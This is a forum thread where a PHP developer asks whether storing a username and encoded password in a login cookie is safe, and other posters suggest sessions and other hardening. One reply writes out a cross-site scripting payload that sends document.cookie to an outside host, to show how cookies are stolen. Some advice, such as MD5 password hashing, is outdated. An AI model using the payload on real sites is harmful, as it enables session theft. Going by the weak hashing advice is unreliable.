I have written, what is IMO a nice little, cookie based login script. So you have your username and password stored in the database, and when you log in for the first time, it sets a cookie with both your username and (encrypted) password in it, the cookie looks like this: dredgy:BGEzAwywMTMxMJZlATZ5LwSyAGOuZJL1ZTZmLJSxMJV1LJMxZmN3LD== The username is "dredgy" and the password is "test". So, if that cookie exists, my script explodes() out the colon, and matches the username and password in the database - if it is correct, it proceeds, if not you get an error. The cookie expires in one hour. Do you guys think this is a good idea? Thanks, BP
What's the advantage over just using a hash algorithm and sending the hashed password straight to the mysql database to test it?
It's a fine idea, but to 'encrypt' the password, I'd use MD5 (then use SELECT * FROM `users` WHERE ... md5(`password`)='THEHASH'). Furthermore, make sure you escape the data, otherwise you can be exploited by SQL injection. Jay
@Jorgy - dont quite get what you mean. @jayshah - All data is escaped, and the password in the database is already encrypted (doe when you create the user), with combinations of md5, sha1, and some random encoding thrown in for good measure. Would there be any more ways to make this more secure? Thanks guys, BP
What would happen if someone managed to get hold of the cookie ? This is not a good idea in my opinion. Brew
The authors of Pear::Auth have done some work on advanced authentication security, particularly their setAdvancedSecurity() method of that package (http://pear.php.net/manual/en/package.authentication.auth.auth.setadvancedsecurity.php). From the readme file of that package:
I would use sessions, so that only the session cookie will be stored on the user's computer. Additionally, I'd call session_regenerate_id() on each page. This way, even if someone manages to get the cookie, he'd have to act fast, because it wouldn't be valid anymore as soon as the original user requests a new page. Storing the user's details in a cookie is always a bad idea. Even if it's encrypted. Also, regarding stoli's post above: That's a bad idea, because user's can have dynamic IPs, that can even change between requests. It makes it a lot more secure, yes, but on the other side, a some users won't be able to use this system.
Yeah I have a dynamic IP, so things like that really bug me. I fail to see how someone could actually get the cookie, but I see your concerns, I just can't use sessions well. How about having a salt on the password that changes everytime a user calls a page. Or I could do it via Ajax to change every 30 seconds or so. Sessions would probably be simpler though Thanks all, BP
For example, a lot of people use $_SERVER['PHP_SELF'] in forms, or elsewhere. Now if a hacker nows that, he can use an URL like this: example.com/script.php/<script>var img = new Image(); img.src='http://foo.com/?c=' + document.cookie;</script> (Which is a perfectly valid URL) He could use this link and send it to someone who has an account there. Of course he would make it less obvious, like: Click me If this person would click a link, a Javascript would call an URL on his server and pass him all data from all cookies. There are of course more ways, but that's just one. Sessions are easy to use, I suggest you learn it.
I have a good idea for your program. You have do one thing after creating a data base for registration of new user. You must have to set a field of auto id and mention that in to primary key with auto increment. Every time it has to increment when a new user is registered. After that when a user is login you have to store the auto id of the particular user in to session and mentions the session id through out all the pages of the projects. Then when ever the user logout or close the browser it automatically deceased. catch me for more information at cattechnologies.com
You can use the first 2 sets of digits/octets from the IP - this will work with most dynamic IP's while providing some ability to tie the session to IP.